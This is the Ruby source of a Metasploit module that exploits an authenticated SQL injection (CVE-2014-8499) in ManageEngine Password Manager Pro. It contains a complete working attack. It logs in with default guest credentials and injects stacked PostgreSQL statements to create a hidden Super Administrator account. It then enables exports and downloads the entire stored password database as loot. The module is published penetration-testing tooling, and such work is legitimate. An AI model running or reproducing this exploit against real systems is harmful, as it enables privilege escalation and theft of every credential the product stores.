Path: blob/master/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',14'Description' => %q{15ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection16vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate17privileges and obtain Super Administrator access. A Super Administrator can then18use his privileges to dump the whole password database in CSV format. PMP can use19both MySQL and PostgreSQL databases but this module only exploits the latter as20MySQL does not support stacked queries with Java. PostgreSQL is the default database21in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,22so a higher version does not guarantee exploitability. This module has been tested23on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in24v7.1 build 7105 and above.25},26'Author' => [27'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module28],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2014-8499' ],32[ 'OSVDB', '114485' ],33[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/18' ],34[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ],35],36'DisclosureDate' => '2014-11-08',37'Notes' => {38'Stability' => [CRASH_SAFE],39'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],40'Reliability' => []41}42)43)4445register_options(46[47Opt::RPORT(7272),48OptBool.new('SSL', [true, 'Use SSL', true]),49OptString.new('USERNAME', [true, 'The username to login as', 'guest']),50OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),51OptString.new('TARGETURI', [ true, 'Password Manager Pro application URI', '/'])52]53)54end5556def login(username, password)57# 1st step: we obtain a JSESSIONID cookie...58res = send_request_cgi({59'method' => 'GET',60'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc')61})6263if res && res.code == 20064# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)65if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="(\w*)"/66orgn_name = ::Regexp.last_match(1)67else68orgn_name = nil69end7071if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="(\w*)"/72authrule_name = ::Regexp.last_match(1)73else74authrule_name = nil75end7677# 3rd step: we try to get the domainName for the user78cookie = res.get_cookies79res = send_request_cgi({80'method' => 'POST',81'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),82'ctype' => 'application/x-www-form-urlencoded',83'cookie' => cookie,84'vars_get' => {85'RequestType' => 'GetUserDomainName',86'userName' => username87}88})89if res && res.code == 200 && res.body90domain_name = res.body.to_s.strip91else92domain_name = nil93end9495# 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies.96# For some reason send_request_cgi! doesn't work, so follow the redirect manually...97vars_post = {98'j_username' => username,99'username' => username,100'j_password' => password101}102vars_post['ORGN_NAME'] = orgn_name if orgn_name103vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name104vars_post['domainName'] = domain_name if domain_name105106res = send_request_cgi({107'method' => 'POST',108'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';', '')),109'ctype' => 'application/x-www-form-urlencoded',110'cookie' => cookie,111'vars_post' => vars_post112})113if res && res.code == 302114res = send_request_cgi({115'method' => 'GET',116'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),117'cookie' => cookie118})119120if res && res.code == 200121# 5th step: get the c ookies sent in the last response122return res.get_cookies123end124end125end126return nil127end128129def inject_sql(old_style)130# On versions older than 7000 the injection is slightly different (we call it "old style").131# For "new style" versions we can escalate to super admin by doing132# "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);"133# However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions.134if old_style135sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'136else137sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'138end139140user_id = Rex::Text.rand_text_numeric(4)141time = Rex::Text.rand_text_numeric(8)142username = Rex::Text.rand_text_alpha_lower(6)143username_chr = ''144username.each_char do |c|145username_chr << 'chr(' << c.ord.to_s << ')||'146end147username_chr.chop!.chop!148149password = Rex::Text.rand_text_alphanumeric(10)150password_chr = ''151password.each_char do |c|152password_chr << 'chr(' << c.ord.to_s << ')||'153end154password_chr.chop!.chop!155156group_chr = ''157'Default Group'.each_char do |c|158group_chr << 'chr(' << c.ord.to_s << ')||'159end160group_chr.chop!.chop!161162sqli_command =163"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" \164"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" \165"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" \166"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" \167"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" \168"insert into aaaauthorizedrole values (#{user_id},1);" \169"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \170"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \171"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + '$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);' \172"insert into aaaaccpassword values (#{user_id},#{user_id});" \173"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" \174"insert into ptrx_superadmin values (#{user_id},true);"175sqli_suffix = '-- '176177send_request_cgi({178'method' => 'POST',179'uri' => normalize_uri(target_uri.path, 'SQLAdvancedALSearchResult.cc'),180'cookie' => @cookie,181'vars_post' => {182'COUNT' => Rex::Text.rand_text_numeric(2),183'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,184'USERID' => Rex::Text.rand_text_numeric(4)185}186})187188return [ username, password ]189end190191def get_version192res = send_request_cgi({193'uri' => normalize_uri('PassTrixMain.cc'),194'method' => 'GET'195})196if res && res.code == 200 && res.body &&197res.body.to_s =~ /ManageEngine Password Manager Pro/ &&198(199res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6200res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6201res.body.to_s =~ %r{/themes/passtrix/V([0-9]+)/styles/login\.css"} # PMP v7202)203return ::Regexp.last_match(1).to_i204else205return 9999206end207end208209def check210version = get_version211case version212when 0..7104213return Exploit::CheckCode::Appears214when 7105..9998215return Exploit::CheckCode::Safe216else217return Exploit::CheckCode::Unknown218end219end220221def run222unless check == Exploit::CheckCode::Appears223print_error("Fingerprint hasn't been successful, trying to exploit anyway...")224end225226version = get_version227@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])228if @cookie.nil?229fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")230end231232creds = inject_sql(version < 7000)233username = creds[0]234password = creds[1]235print_good("Created a new Super Administrator with username: #{username} | password: #{password}")236237cookie_su = login(username, password)238239if cookie_su.nil?240fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")241end242243print_status('Reporting Super Administrator credentials...')244store_valid_credentail(user: username, private: password)245246print_status('Leaking Password database...')247loot_passwords(cookie_su)248end249250def service_details251super.merge({ access_level: 'Super Administrator' })252end253254def loot_passwords(cookie_admin)255# 1st we turn on password exports256send_request_cgi({257'method' => 'POST',258'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),259'cookie' => cookie_admin,260'vars_post' => {261'IS_XLS' => 'true',262'includePasswd' => 'true',263'HOMETAB' => 'true',264'RESTAB' => 'true',265'RGTAB' => 'true',266'PASSWD_RULE' => 'Offline Password File',267'LOGOUT_TIME' => '20'268}269})270271# now get the loot!272res = send_request_cgi({273'method' => 'GET',274'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),275'cookie' => cookie_admin,276'vars_get' => {277'RequestType' => 'ExportResources'278}279})280281if res && res.code == 200 && res.body && !res.body.to_s.empty?282vprint_line(res.body.to_s)283print_good('Successfully exported password database from Password Manager Pro.')284loot_name = 'manageengine.passwordmanagerpro.password.db'285loot_type = 'text/csv'286loot_filename = 'manageengine_pmp_password_db.csv'287loot_desc = 'ManageEngine Password Manager Pro Password DB'288p = store_loot(289loot_name,290loot_type,291rhost,292res.body,293loot_filename,294loot_desc295)296print_status("Password database saved in: #{p}")297else298print_error('Failed to export Password Manager Pro passwords.')299end300end301end302303304